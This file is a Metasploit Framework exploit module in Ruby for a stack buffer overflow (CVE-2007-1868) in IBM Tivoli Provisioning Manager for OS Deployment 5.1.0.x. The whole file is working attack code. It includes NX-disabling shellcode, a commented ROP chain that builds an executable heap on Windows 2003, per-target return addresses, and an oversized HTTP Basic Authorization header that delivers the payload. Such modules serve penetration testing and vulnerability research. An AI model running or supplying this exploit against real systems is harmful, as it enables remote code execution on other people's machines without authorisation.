228 lines
7.2 KiB
Ruby
228 lines
7.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IBM TPM for OS Deployment 5.1.0.x rembo.exe Buffer Overflow',
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'Description' => %q{
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This is a stack buffer overflow exploit for IBM Tivoli Provisioning Manager
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for OS Deployment version 5.1.0.X.
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},
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'Author' => 'toto',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-1868'],
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[ 'OSVDB', '34678'],
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[ 'BID', '23264'],
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[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-05' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => true,
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'Payload' =>
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{
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#'Space' => 0x200,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
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'Prepend' =>
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# Disable NX on 2k3 to upload data on the stack
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# (service crashes if the stack is switched to the heap)
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"\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB
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"\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 5
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"\x75\x30" + # jnz after
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"\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 2
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"\x75\x27" + # jnz after
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"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0)
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"\x76\x1b" + # jbe after
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"\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]
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"\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300
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"\xb8\xed\x00\x00\x00" + # mov eax, 0xed
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"\x6a\x04" + # push 4
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"\x51" + # push ecx
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"\x6a\x22" + # push 22
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"\x6a\xff" + # push -1
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"\x6a\xff" + # push -1 (padding)
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"\xff\x12", # call dword ptr[edx]
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['TPMfOSD 5.1 (Windows 2000 SP4 - English)', { 'Rets' => [0x77bb53af, 0x77bb06f0, 0x75022ac5] }],
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# tested against 5.1.0.1 and 5.1.0.2 (use ATL.Dll)
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['TPMfOSD 5.1 (Windows 2003 All - English)', { 'IB' => 0x76a80000, 'Data' => 0x01061980 }],
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],
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'DisclosureDate' => 'May 02 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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], self.class )
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end
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def exploit
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if target.name =~ /2003/
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# the exploit allocates and executable heap to copy and execute the payload
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auth = Rex::Text.rand_text_alphanumeric(2800)
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ib = target['IB']
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auth[ 2080, 4 ] = [ ib + 0x11010 ].pack('V') # store a data to prevent a crash
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# ret 1:
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# 76a81a5f:
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# pop esi <- 0x76a91010
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# pop ebx <- 0x76a91010
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# pop ebp <- 0x76a91010
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# retn
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auth[ 2096, 4 ] = [ ib + 0x1a5f ].pack('V')
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auth[ 2100, 4 ] = [ target['Data'] ].pack('V')
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auth[ 2104, 4 ] = [ ib + 0x11010 ].pack('V')
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auth[ 2108, 4 ] = [ ib + 0x11010 ].pack('V')
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# ret 2:
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# 76a817f0:
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# pop esi <- 0x76a81512 (ocscpy pointer)
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# retn
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auth[ 2112, 4 ] = [ ib + 0x17f0 ].pack('V')
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auth[ 2116, 4 ] = [ ib + 0x1512 ].pack('V')
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# ret 3: (copy the payload in atl.dll data)
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# 76a811c8
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# lea eax, [esp+3c] <-- eax points to the payload
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# push eax <- payload
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# push ebp <- 0x76a91010
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# call esi <- ocscpy
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# cmp eax, ebx <- eax == ebx = 0x76a91010
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# jnz before <- jump not taken
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# mov eax, ebp
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# pop edi
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# pop esi
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# pop ebp
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# pop ebx
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# add esp, 1ch
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# retn
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auth[ 2120, 4 ] = [ ib + 0x11c8 ].pack('V')
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# ret 4: (increase the stack pointer to allow a jump back in the payload)
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# add esp, 1ch
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# retn
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auth[ 2160, 4 ] = [ ib + 0x11da ].pack('V')
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auth[ 2184, 2 ] = "\xeb\x56" # jmp payload
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# ret 5: (create an executable heap - huge one)
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# 76a8c0c4
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# jmp ds:__imp_HeapCreate (0xffffffff, 0x01010101, 0x01010101)
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auth[ 2196, 4 ] = [ ib + 0xc0c4 ].pack('V')
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# ret 6:
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# 76a817f0
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# pop esi <- 0x76a92a38 (hHeap)
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# retn
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auth[ 2204, 4 ] = [ ib + 0x17f0 ].pack('V')
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auth[ 2208, 4 ] = [ 0xffffffff ].pack('V')
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auth[ 2212, 4 ] = [ 0x01010101 ].pack('V')
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auth[ 2216, 4 ] = [ 0x01010101 ].pack('V')
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auth[ 2220, 4 ] = [ ib + 0x12a38 ].pack('V')
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# ret 7:
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# 76a8190a
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# mov [esi], eax <- store new heap in hHeap
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# mov eax, esi
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# pop esi
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# retn 4
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auth[ 2224, 4 ] = [ ib + 0x190a ].pack('V')
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# ret 8 (_calloc - needed to allocate a small buffer to prevent a no mem exception):
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# 76a88a29
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# mov eax, [esp+arg_0] <- 0x7fffffa0
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# imul eax, [esp+arg_4] <- eax * 0x7fffffa0 = 0x2400
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# push eax
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# call _malloc
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# pop ecx <- ecx = 0x2400
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# retn
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auth[ 2232, 4 ] = [ ib + 0x8a29 ].pack('V')
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# ret 9:
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# 76a8c9ab
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# add esp, 0ch
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# retn 4
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auth[ 2240, 4 ] = [ ib + 0xc9ab ].pack('V')
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auth[ 2244, 4 ] = [ 0x7fffffa0 ].pack('V')
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auth[ 2248, 4 ] = [ 0x7fffffa0 ].pack('V')
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# ret 10 (copy payload into heap):
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# 76a8c9a0
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# push ecx <- 0x2400
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# push [esp+8] <- 0x76a91010 (payload in atl.dll data)
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# push eax <- heap pointer
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# call _memcpy
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# add esp, 0ch
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# retn
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auth[ 2256, 4 ] = [ ib + 0xc9a0 ].pack('V')
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# ret 11 (jump into heap)
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# 76a815e7
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# call eax
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auth[ 2264, 4 ] = [ ib + 0x15e7 ].pack('V')
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auth[ 2268, 4 ] = [ ib + 0x11010 ].pack('V')
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auth[ 2272, payload.encoded.length ] = payload.encoded
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else
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auth = Rex::Text.rand_text_alphanumeric(2800)
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auth[ 2080, 4 ] = [ target['Rets'][1] ].pack('V')
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auth[ 2096, 4 ] = [ target['Rets'][2] ].pack('V') # pop, ret
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auth[ 2100, 4 ] = [ target['Rets'][1] ].pack('V')
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auth[ 2104, 4 ] = [ target['Rets'][0] ].pack('V') # jmp esp
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auth[ 2108, payload.encoded.length ] = payload.encoded
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end
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print_status("Trying target #{target.name}...")
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET',
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'headers' =>
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{
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'Authorization' => "Basic #{auth}"
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}
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}, 5)
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handler
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end
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end
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